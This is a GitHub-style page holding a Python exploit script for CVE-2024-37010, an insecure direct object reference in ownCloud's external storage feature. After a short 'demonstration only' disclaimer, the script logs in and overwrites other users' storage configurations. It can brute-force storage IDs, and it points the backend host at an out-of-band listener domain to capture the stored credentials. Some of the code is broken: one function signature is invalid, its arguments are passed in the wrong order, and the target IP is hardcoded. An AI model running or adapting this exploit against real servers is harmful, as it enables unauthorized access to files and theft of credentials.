README.md
Rendering markdown...
'''
Author: Sarpant
CVE-2024-37010
This exploit is for demonstration purposes only and must not be used for malicious purposes against an information system that does not belong to you or that you do not have the right to test.
https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0753/
https://owncloud.com/security-advisories/insecure-direct-object-reference-in-external-storage/
'''
import sys
import argparse
import requests
from bs4 import BeautifulSoup
user_storage = '/index.php/apps/files_external/userstorages/'
def get_external_storage (url, session):
url = url + '/index.php/settings/personal?sectionid=storage'
requesttoken = get_requesttoken(url, session)
print ('External storage request token: {}'.format(requesttoken))
return requesttoken
'''
Exploit the storage id to get access
'''
def exploit (url, session, id, stealth=False, username):
print ('[.] Sending payload for the storage {}... '.format(id), end="", flush=True)
headers = {
'Accept': '*/*',
'X-Requested-With': 'XMLHttpRequest',
'Accept-Language': 'en',
'requesttoken':session.requesttoken,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36',
'OCS-APIREQUEST': 'true',
'Content-Type': 'application/json',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'close'
}
pwn_update = {
"mountPoint":str(id)+"no_more_confidential?",
"backend": "owncloud",
"authMechanism": "password::sessioncredentials",
"backendOptions": {
"host": "asazlwwlkfeyxhjcvupstf0cz45dx5hso.oast.fun",
"root": "test",
"secure":False
},
'id':id,
"testOnly":True,
"mountOptions":{
"encrypt":True,
"read_only":False,
"previews":True,
"enable_sharing":False,
"filesystem_check_changes":1,
"encoding_compatibility":False
},
"applicableUsers":[username]
}
if stealth:
pwn_update = {
"mountPoint":"{}:_pwned_storage".format(id),
"backend": "pwncloud",
'id':id,
"testOnly":True,
"mountOptions":{
"encrypt":True,
"read_only":False,
"previews":True,
"enable_sharing":False,
"filesystem_check_changes":1,
"encoding_compatibility":False
},
"applicableUsers":['normal_user']
}
resp = session.put(url + str(id), json = pwn_update, headers = headers)
print("DONE !")
print(resp.text)
'''
Exploit all existing storages in the range
'''
def bruteforce_storage (url, session, id_range, stealth = False):
for id in range(id_range):
exploit(url, session, id, stealth)
'''
Function to get the requesttoken needed for post/put request
'''
def get_requesttoken (url, session):
headers = {
'Accept': '*/*',
'X-Requested-With': 'XMLHttpRequest',
'Accept-Language': 'en',
'requesttoken':session.requesttoken,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36',
'OCS-APIREQUEST': 'true',
'Content-Type': 'application/json',
'Origin': 'http://172.31.50.162',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'close'
}
response = session.get(url, headers=headers)
if response.status_code != 200:
exit(1)
soup = BeautifulSoup(response.text, 'html.parser')
requesttoken = soup.head.get('data-requesttoken')
return requesttoken
'''
Function to connect the exploit to the owncloud server
'''
def login (url, username, password):
print ("[.] Connexion to owncloud server ... \n")
url = url+"/index.php/login"
session = requests.session()
session.requesttoken = ''
session.requesttoken = get_requesttoken(url, session)
print("Requesttoken : {}\n".format(session.requesttoken))
login_data = {
'user': username,
'password': password,
'timezone-offset':'1',
'timezone':'Europe/Berlin',
'requesttoken': session.requesttoken
}
response = session.post(url, data=login_data)
print ("[+] Connected to the server !\n")
return session
def check_args (args):
if not args.username or not args.password:
print("\nError: you must provide a username and password\n")
return 1
if not args.url:
print("\nError: you must provide a owncloud server address\n")
return 1
if not args.stealth and not args.ip:
print("\nError: you must provide a listener IP to catch dumped credentials\n")
return 1
if not args.storage_id and not args.range_id:
print("\nError: you must provide an specific id or a range of id")
return 1
return 0
def main ():
parser = argparse.ArgumentParser(prog="CVE-X.py",
description="This exploit can be used to gain access on other user's external storage on a Owncloud server, and steal used credentials.")
parser.add_argument('-U', '--url')
parser.add_argument('-u', '--username')
parser.add_argument('-p', '--password')
parser.add_argument('-s', '--stealth', action='store_true', default=False, help='dont dump the saved creds and just gain access on the storage(s)')
parser.add_argument('-i', '--ip')
parser.add_argument('-S', '--storage_id')
parser.add_argument('-r', '--range_id', help='range of id to exploit')
args = parser.parse_args()
if check_args(args):
parser.print_help()
exit(1)
session = login (args.url, args.username, args.password)
session.requesttoken = get_requesttoken(args.url + '/index.php/settings/personal?sectionid=storage ', session)
if args.storage_id:
exploit(args.url+user_storage, session, int(args.storage_id), args.username)
else:
bruteforce_storage('http://172.31.50.162/owncloud2/owncloud/index.php/apps/files_external/userstorages/', session, int(args.range_id), stealth=args.stealth)
print ("[+] Exploit done. Check your owncloud account.")
if __name__ == '__main__':
main()